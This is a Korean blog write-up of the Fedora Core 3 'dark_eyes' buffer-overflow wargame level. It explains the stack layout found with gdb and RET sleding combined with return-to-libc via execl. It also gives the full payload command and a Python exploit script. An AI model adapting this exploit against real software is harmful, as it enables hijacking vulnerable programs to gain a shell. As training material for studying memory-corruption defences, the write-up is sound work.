문제 소스코드다.

이전문제와 다르게 ebp값을 건드리는게 불가능하도록 코딩을 해놓았다.


힌트를 보면 ret sleding으로 풀어야 한다.


우선 예전 lob를 풀 때 RET Sleding으로 문제를 푼 적이 있지만 예전 풀이도 보고 RET Sleding에 대해 검색을 해보았다.


RET Sleding이란 함수가 종료될 때 실행되는 ret의 주소를 return address에 오버플로우를 시켜주면 esp를 계속 올려서 바꾸어 줄 수 있는 방법이다.


우선 gdb로 소스를 까보자.

ebp-264는 buffer 배열이다.

그리고 ebp-268은 save_sfp 변수이다.

즉 다시말해 buffer는 ebp 기준으로 264바이트가 떨어졌으니 256바이트에 8바이트가 더미로 추가되어있는 것이다.


일단 변수의 크기를 알았으니 스택의 변화를 살펴봐야한다.


스택의 변화를 살펴보기 위해 코드의 leave 부분에 BP를 건다.


esp부분을 보자.

문자열 A로 268바이트를 넘겨주었다. 일단 채울 수 있는 버퍼의 크기를 다 채웠으므로 0xfee58d98이 sfp의 값이고, 0x00730e00이 return address다.

이제 이 값을 RET Sleding으로 변조 시키고 rtl을 사용할 함수인 execl의 인자로 줄 위치를 찾아야 한다.


일단 execl함수는 이전 문제처럼 0값으로 인자를 끝내야 한다.

그래서 찾은 부분이 0xfee58d50 ~ 0xfee58d54다.


0xfee58d50는 0x0083ed3c라는 비교적 파일 이름으로 주기에 간단한 값을 가지고 있다.


그리고 바로 4바이트 뒤인 0xfee58d54를 보면 0이다. execl함수의 인자로 주기에 딱 좋은 부분이다.


이제 RET Sleding을 해줘야한다.

ret에 코드영역의 ret를 주어야 한다.

ret가 실행되면 행해지는 작업은 pop eip, jmp eip다.

이 작업을 하면 스택에 쌓인 값들이 pop 되면서 esp의 주소가 올라가게 되고 스택의 있던 값이 실행되게 된다.


아까 봐뒀던 부분이 ebp+8이 되어야 하니까 

0xfee58d50 - 8인 0xfee58d48에 execl함수를 주고

RET Sled를 세번 주면 execl("\xf4\xef\x83\x00",0) 이렇게 RTL이 성공하게 된다.


execl로 실행시킬 파일명으로 쉘을 실행시킬 바이너리를 작성해야한다.

이전문제와 같은 방법으로 진행하면 된다.

이렇게 소스를 작성하고

컴파일 해준 후 심볼릭 링크를 걸어준다. (심볼릭 링크로 굳이 걸 필요 없이 바로 바이너리파일의 이름을 지어줘도 된다.)


payload

./dark_eyes "`python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`"

플래그를 구했다.


++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


추가적으로 \x20은 공백으로 인식이 되어 오버플로우를 할 수 없다.

위에서는 python으로 만든 문자열에 더블쿼터를 씌워줘서 문자열로 인식하게 했으나 익스플로잇 코드를 작성할때 문자열 적용을 어떻게 하는지 감이 안와서 찾아보다가 굳이 그렇게 하지 않고도 할 수 있다는 것을 깨달았다. 그방버은 무엇이냐면 RTL함수의 주소를 조금 변형시키는 것이다.

이전 문제에서도 execl함수의 주소에 +3을 해주어서 RTL을 실행했다. 이번에도 execl함수를 좀 보고 주소를 땡기거나 뒤로 입력해줄 것이다.


위를 보면 execl함수 전 주소에 nop코드가 존재한다. 따라서 execl-1의 위치를 주게 되면 \x20을 피하고 RTL을 할 수 있다.


exploit code

import struct
import os

p = lambda x : struct.pack('<I', x)

ret_sled = 0x080484b9
execl = 0x7a5720

payload = "A"*268
payload += p(ret_sled)*3
payload += p(execl-1)

os.system("./dark_eyes " + payload[:-1])



'Wargame > FedoraCore BOF' 카테고리의 다른 글

Fedora Core3 evil_wizard -> dark_stone  (0) 2018.02.25
Fedora Core3 hell_file -> evil_wizard  (0) 2018.02.25
Fedora Core3 dark_eyes -> hell_fire  (0) 2018.02.24
Fedora Core3 gate -> iron_golem  (0) 2018.02.22
FedoraCore3 설명  (0) 2018.02.19

+ Recent posts